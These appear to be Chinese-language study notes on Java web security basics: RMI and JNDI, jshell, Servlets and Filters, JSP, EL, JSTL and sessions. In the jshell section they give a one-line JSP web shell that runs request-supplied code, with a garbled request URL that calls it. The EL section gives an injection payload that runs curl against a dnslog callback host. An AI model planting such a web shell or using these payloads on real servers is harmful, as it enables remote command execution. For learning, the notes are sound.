处理客户端请求:bind
、list
、lookup
、rebind
、unbind
,如果是lookup
则查找RMI服务名
绑定的接口对象,序列化该对象并通过RemoteCall
传输到客户端。RMI客户端
反序列化服务端结果,获取远程对象的引用。RMI客户端
调用远程方法,RMI服务端
反射调用RMI服务实现类
的对应方法并序列化执行结果返回给客户端。RMI客户端
反序列化RMI
远程方法调用结果。
JNDI
JNDI(Java Naming and Directory Interface)
是Java提供的Java 命名和目录接口
。通过调用JNDI
的API
应用程序可以定位资源和其他程序对象。JNDI
是Java EE
的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)
,JNDI
可访问的现有的目录及服务有:JDBC
、LDAP
、RMI
、DNS
、NIS
、CORBA
。
JNDI 的五个包
1、javax.naming
它包含了命名服务的类和接口。比如其中定义了Context 接口,可以用于查找、绑定/解除绑定、重命名对象以及创建和销毁子上下文等操作。
- 查找:最常用的操作是
lookup()
,向lookup()提供想要查找的对象的名称,它会返回与该名称绑定的对象 - 绑定:
listBindings()
:返回一个名字到对象的绑定的枚举。绑定是一个元组,包含绑定对象的名称、对象的类的名称和对象本身 - 列表
:list()
与listBindings()
类似,只是它返回一个包含对象名称和对象类名称的名称枚举list()对于诸如浏览器等想要发现上下文中绑定的对象的信息但又不需要所有实际对象的应用程序来说非常有用 - 引用:在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储
InitialContext 类
构造方法:
InitialContext()
// 构建初始上下文
InitialContext(boolean lazy)
// 构建一个初始上下文,并选择不初始化它
InitialContext(Hashtable<?,?> environment)
// 使用提供的环境构建初始上下文
常用方法:
bind(Name name, Object obj) // 将名称绑定到对象
list(String name) // 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名
lookup(String name) // 检索命名对象
rebind(String name, Object obj) // 将名称绑定到对象,覆盖任何现有绑定
unbind(String name) //取消绑定命名对象
Reference 类
构造方法:
Reference(String className)
// 为类名为"className"的对象构造一个新的引用
Reference(String className, RefAddr addr)
// 为类名为“className”的对象和地址构造一个新引用
Reference(String className, RefAddr addr, String factory, String factoryLocation)
// 为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用
Reference(String className, String factory, String factoryLocation)
//
常用方法:
void add(int posn, RefAddr addr)
// 将地址添加到索引posn的地址列表中
void add(RefAddr addr)
// 将地址添加到地址列表末尾
void clear()
// 从此引用中删除所有地址
RedAddr get(int posn)
// 检索索引posn上的地址
RefAddr get(String addrType)
// 检索地址类型为“addrType”的第一个地址
Enumeration<RefAddr> getAll()
// 检索本参考文献中地址的列举
String getClassName()
// 检索引用引用的对象的类名
String getFactoryClassLocation()
// 检索此引用引用的对象的工厂位置
String getFactoryClassName()
// 检索此引用引用对象的工厂的类名。
Object remove(int posn)
// 从地址列表中删除索引posn上的地址
int size()
// 检索此引用中的地址数
String toString()
// 生成此引用的字符串表示形式
2、javax.naming.directory:继承了javax.naming,提供了除命名服务外访问目录服务的功能。
3、javax.naming.ldap:继承了javax.naming,提供了访问LDAP 的能力。
4、javax.naming.event:包含了用于支持命名和目录服务中的事件通知的类和接口。
5、javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI 可以访问相关服务。
Jshell
从Java 9
开始提供了一个叫jshell
的功能,jshell
是一个REPL(Read-Eval-Print Loop)
命令行工具,提供了一个交互式命令行界面,在jshell
中我们不再需要编写类也可以执行Java代码片段,开发者可以像python
和php
一样在命令行下愉快的写测试代码了。jshell
不仅是一个命令行工具,在我们的应用程序中同样也可以调用jshell
内部的实现API,也就是说我们可以利用jshell
来执行Java代码片段而不再需要将Java代码编译成class文件后执行了。
jshell
调用了jdk.jshell.JShell
类的eval
方法来执行我们的代码片段,那么我们只要想办法调用这个eval
方法也就可以实现真正意义上的一句话木马了。
jshell.jsp一句话木马示例:<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src"))%>
然后我们需要编写一个执行本地命令的代码片段:
new String(Runtime.getRuntime().exec("pwd").getInputStream().readAllBytes())
浏览器请求:http://localhost:8080/jshell.jsp?src=new%20String(Runtime.getRuntime().exec(%22pwd%22).getInputStream().readAllBytes()).exec(“pwd”).getInputStream().readAllBytes()))
Java Web 基础
Java EE
:指的是Java平台企业版,其历史版本如下:
Java SE/JDK版本 | Java EE版本 | Servlet版本 | 发布时间 |
---|---|---|---|
/ | / | Servlet 1.0 | (1997年6月) |
JDK1.1 | / | Servlet 2.0 | / |
/ | / | Servlet 2.1 | (1998年11月) |
JDK1.2 | J2EE 1.2 | Servlet 2.2 | (1999年12月12日) |
JDK1.2 | J2EE 1.3 | Servlet 2.3 | (2001年9月24日) |
JDK1.3 | J2EE 1.4 | Servlet 2.4 | (2003年11月11日) |
JDK1.5 | Java EE 5 | Servlet 2.5 | (2006年5月11日) |
JDK1.6 | Java EE 6 | Servlet 3.0 | (2009年12月10日) |
/ | Java EE 7 | Servlet 3.1 | (2013年5月28日) |
/ | Java EE 8 | Servlet 4.0 | (2017年8月31日) |
/ | Jakarta EE8 | Servlet 4.0 | (2019年8月26日) |
可知Java EE
并不是Java SE
的一部分,Java EE
的版本也不完全是对应了JDK版本,我们通常最为关注的是Java EE
对应的Servlet
版本。
Servlet:Servlet
是在 Java Web
容器中运行的小程序
,通常我们用Servlet
来处理一些较为复杂的服务器端的业务逻辑。Servlet
是Java EE
的核心,也是所有的MVC框架的实现的根本!
MVC框架:一种软件设计模式,用于将应用程序分为三个核心组件:模型(Model)、视图(View) 和 控制器(Controller)。模型负责处理数据和业务逻辑,与数据库交互。视图负责展示数据,UI 渲染,将模型数据转化为用户可见的界面。控制器则接收用户请求,调用模型处理数据,选择合适的视图展示结果。
Servlet
1、基于Web.xml配置:Servlet3.0
之前的版本都需要在web.xml
中配置servlet标签
。servlet标签
是由servlet
和servlet-mapping
标签组成的,两者之间通过在servlet
和servlet-mapping
标签中同样的servlet-name
名称来实现关联的。
2、Servlet的运行流程:servlet运行在servlet容器中,每次运行web服务都会起一个servlet容器,容器内包含了很多servlet来被调用。也就是说,我们在浏览器的web页面访问特定的路由,来触发指定servlet,容器内的指定servlet再根据我们写好的处理逻辑执行我们规定好的流程。比如:写一个servlet用于输出指定内容111,当访问/flag
是执行该servlet,当我们访问/flag时,便会回显111
3、生命周期:Servlet 的生命周期分为:init();service();do..() 例:doGet()、doPost();destroy()
servlet启动后会先进行初始化init(),然后就一直存在于容器中,等待被调用service(),当有servlet被调用,service()就会判断请求的类型,执行对应的do..()操作,例如:doGet()、doPost()。当容器关闭,即web程序退出时,便会执行destroy(),结束整个servlet的生命
4、定义:定义一个 Servlet 很简单,只需要继承javax.servlet.http.HttpServlet
类并重写doXXX
(如doGet、doPost
)方法或者service
方法就可以了
需要注意的是重写HttpServlet类的service方法可以获取到上述七种Http请求方法的请求。
javax.servlet.http.HttpServlet
不仅实现了servlet
的生命周期,并通过封装service
方法抽象出了doGet/doPost/doDelete/doHead/doPut/doOptions/doTrace
方法用于处理来自客户端的不一样的请求方式,我们的Servlet只需要重写其中的请求方法或者重写service
方法即可实现servlet
请求处理。
package com.anbai.sec.servlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
/**
* Creator: yz
* Date: 2019/12/14
*/
// 如果使用注解方式请取消@WebServlet注释并注释掉web.xml中TestServlet相关配置
//@WebServlet(name = "TestServlet", urlPatterns = {"/TestServlet"})
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
doPost(request, response);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
PrintWriter out = response.getWriter();
out.println("Hello World~");
out.flush();
out.close();
}
}
请求TestServlet
示例:
定义好了Servlet类以后我们需要在web.xml
中配置servlet标签才能生效。基于配置实现的Servlet:
值得注意的是在 Servlet 3.0 之后( Tomcat7+)可以使用注解方式配置 Servlet 了,在任意的Java类添加javax.servlet.annotation.WebServlet
注解即可。基于注解的方式配置Servlet实质上是对基于web.xml
方式配置的简化,极大的简化了Servlet的配置方式,但是也提升了对Servlet配置管理的难度,因为我们不得不去查找所有包含了@WebServlet
注解的类来寻找Servlet的定义,而不再只是查看web.xml
中的servlet
标签配置。
5、Filter
:Filter
也是Servlet中常用的特性,是使用javax.servlet.Filter 接口进行实现的,可以用于为所有 Servlet 添加全局性的鉴权和过滤
可以用于过滤特殊的字符编码,防护一些sql注入等常见的漏洞,与servlet的区别:
Filter
和Servlet
都是Java Web
提供的API,简单的总结了下有如下共同点。
Filter
和Servlet
都需要在web.xml
或注解
(@WebFilter
、@WebServlet
)中配置,而且配置方式是非常的相似的。Filter
和Servlet
都可以处理来自Http请求的请求,两者都有request
、response
对象。Filter
和Servlet
基础概念不一样,Servlet
定义是容器端小程序,用于直接处理后端业务逻辑,而Filter
的思想则是实现对Java Web请求资源的拦截过滤。Filter
和Servlet
虽然概念上不太一样,但都可以处理Http请求,都可以用来实现MVC控制器(Struts2
和Spring
框架分别基于Filter
和Servlet
技术实现的)。- 一般来说
Filter
通常配置在MVC
、Servlet
和JSP
请求前面,常用于后端权限控制、统一的Http请求参数过滤(统一的XSS
、SQL注入
、Struts2命令执行
等攻击检测处理)处理,其核心主要体现在请求过滤上,而Servlet
更多的是用来处理后端业务请求上。
package com.example.servlet;
import javax.servlet.Filter;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.FilterChain;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebFilter(filterName = "HelloFilter", urlPatterns = {"/*"})
public class HelloFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
response.setContentType("text/html");
// 获取请求的URI路径
String requestURI = request.getRequestURI();
// 检查路径是否包含"/HelloFilter"
if (requestURI.contains("/HelloFilter")) {
try (PrintWriter out = response.getWriter()) {
out.println("<h1>Hello Filter<h1>");
}
} else if (requestURI.contains("/HelloServlet")) {
// 如果请求路径包含"/HelloServlet",直接通过过滤器的过滤
filterChain.doFilter(servletRequest, servletResponse);
}else {
// 重定向到"/HelloServlet"
response.sendRedirect(request.getContextPath() + "/HelloServlet");
}
}
@Override
public void destroy() {
}
}
写一个简单的Filter,当路径是包含”/HelloFilter”时输出Hello Filter,不包含时则跳转到/HelloServlet
访问/a
访问/HelloFilter
JSP
JSP
(JavaServer Pages
) 是与 PHP
、ASP
、ASP.NET
等类似的脚本语言,JSP
是为了简化Servlet
的处理流程而出现的替代品。早期的Java EE
因为只能使用Servlet
来处理客户端请求而显得非常的繁琐和不便,使用JSP可以直接调用Java代码来实现后端逻辑。这也是JSP webshell产生的原因。JVM 只能识别Java的类,是无法识别JSP 代码的。所以WEB 服务器会将JSP 编译成JVM 能识别的Java 类。
现代的MVC框架(如:Spring MVC 5.x
)已经完全抛弃了JSP
技术
JSP 跟Servlet 区别在于,JSP 常用于动态页面显示,Servlet 常用于逻辑控制。在代码中常使用 JSP 做前端动态页面,在接收到用户输入后交给对应的Servlet 进行处理。从本质上说 JSP 就是一个Servlet
,因为 jsp 文件最终会被编译成 class 文件,而这个 class 文件实际上就是一个特殊的Servlet
。
JSP 生命周期:编译阶段 -> 初始化阶段 -> 执行阶段 -> 销毁阶段
此处多了一个编译阶段,是将JSP 编译成Servlet 的阶段。而这个阶段也是有三个步骤的: 解析JSP 文件 -> 将JSP 文件转为servlet -> 编译servlet 。
在编译阶段,JSP文件会被编译成java类文件,如index.jsp在Tomcat中Jasper编译后会生成index_jsp.java
和index_jsp.class
两个文件。
- 生成的类名与 jsp 文件名相同,不合法的字符会转换为 _,比如 index.jsp 会生成 index_jsp, 1.jsp 会生成 _1_jsp;
- 生成的 Java 类(如:index_jsp.java)继承自抽象类 HttpJspBase(一个实现了HttpJspPage接口并继承了HttpServlet的标准的Servlet)
- 生成类的代码中的_jspInit、_jspDestory 对应 Servlet 中的生命周期函数;_jspService 中处理客户端的请求,类似于Servlet中的service方法,其实就是HttpJspBase的service方法调用
基本语法
一般JSP文件后缀名为.jsp
,jsp引擎则可能会解析jspx
/ jspf
/ jspa
/ jsw
/ jsv
/ jtml
等后缀的文件
<% code %> scriptlet 可以用来包裹和执行 Java 代码,也可以用 <jsp:scriptlet> 标签来进行包含;
<jsp:scriptlet>
代码片段
</jsp:scriptlet>
<%! declaration; [ declaration; ]+ ... %> 用于变量声明,同 <jsp:declaration>;
<%= expr %> 用来包括和执行表达式,表达式的结果作为 HTML 的内容,同 <jsp:expression>;
<%-- comment --%> 为 JSP 注释,注释中的内容会被 JSP 引擎忽略;
<%@ directive attribute="value" %> 指令,影响对应 Servlet 的类结构
<jsp:action_name attribute="value" /> 使用 XML 控制 Servlet 引擎的的行为,称为 action;
JSP 三大指令
<%@ directive attribute="value" %> 指令,影响对应 Servlet 的类结构
<%@ page ... %> 定义网页依赖属性,比如脚本语言、error页面、缓存需求等等
<%@ include ... %> 包含其他文件(静态包含)
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> 引入标签库的定义
JSP 九大对象
从本质上说 JSP 就是一个Servlet,JSP 引擎在调用 JSP 对应的 jspServlet 时,会传递或创建 9 个与 web 开发相关的对象供 jspServlet 使用。JSP 技术的设计者为便于开发人员在编写 JSP 页面时获得这些 web 对象的引用,特意定义了 9 个相应的变量。
变量名 | 类型 | 作用 |
---|---|---|
pageContext | PageContext | 当前页面共享数据,还可以获取其他8个内置对象 |
request | HttpServletRequest | 客户端请求对象,包含了所有客户端请求信息 |
session | HttpSession | 请求会话 |
application | ServletContext | 全局对象,所有用户间共享数据 |
response | HttpServletResponse | 响应对象,主要用于服务器端设置响应信息 |
page | Object | 当前Servlet对象,this |
out | JspWriter | 输出对象,数据输出到页面上 |
config | ServletConfig | Servlet的配置对象 |
exception | Throwable | 异常对象 |
JSP 表达式(EL)
EL表达式
(Expression Language
)语言,常用于在jsp页面中获取请求中的值,使用EL表达式可以实现命令执行,EL(Expression Language),主要用于替换JSP页面中的脚本表达式<%= %>
,在jsp页面中获取请求中的值、执行运算、调用方法等。如获取在Servlet中设置的Attribute
:${名称}
。
从request域对象中,取得user这个对象的年龄:
${requestScope.user.age}
等价于JSP Scriptlet的写法:
User user = (User)request.getAttribute("user");
int age = user.getAge();
有趣的是,它还可以用来执行命令。如:浅析EL表达式注入漏洞-先知社区
${Runtime.getRuntime().exec("cmd /c curl xxx.dnslog.cn")}
JSP 标准标签库(JSTL)
JSP标准标签库(JSTL)是一个JSP标签集合,它封装了JSP应用的通用核心功能。
JSTL 中常见的标签库:
- 核心标签库 (uri=“http://java.sun.com/jsp/jstl/core”)
<c:out>
– 输出字符串<c:if>
– 条件处理<c:forEach>
– 集合遍历
- 格式化标签库 (uri=“http://java.sun.com/jsp/jstl/fmt”)
<fmt:message>
– 格式化并显示消息<fmt:formatDate>
– 格式化日期
- SQL 标签库 (uri=“http://java.sun.com/jsp/jstl/sql”)
<sql:setDataSource>
– 指定数据源并使其可用于 SQL 操作<sql:query>
– 执行 SQL 查询并迭代结果集<sql:update>
– 通过执行 SQL 语句更新数据源
- XML 标签库(uri=“http://java.sun.com/jsp/jstl/xml”)
<x:parse>
– 解析 XML 文档<x:forEach>
– 遍历 XML 文档<x:out>
– 输出结果
- 函数标签库 (uri=“http://java.sun.com/jsp/jstl/functions”)
Cookie 和 Session 对象
Cookie
是最常用的Http会话跟踪机制,且所有Servlet容器
都应该支持。当客户端不接受Cookie
时,服务端可使用URL重写
的方式作为会话跟踪方式。会话ID
必须被编码为URL字符串中的一个路径参数,参数的名字必须是 jsessionid
。
浏览器和服务端创建会话(Session
)后,服务端将生成一个唯一的会话ID(sessionid
)用于标识用户身份,然后会将这个会话ID通过Cookie
的形式返回给浏览器,浏览器接受到Cookie
后会在每次请求后端服务的时候带上服务端设置Cookie
值,服务端通过读取浏览器的Cookie
信息就可以获取到用于标识用户身份的会话ID,从而实现会话跟踪和用户身份识别。
因为Cookie
中存储了用户身份信息,并且还存储于浏览器端,攻击者可以使用XSS
漏洞获取到Cookie
信息并盗取用户身份就行一些恶意的操作。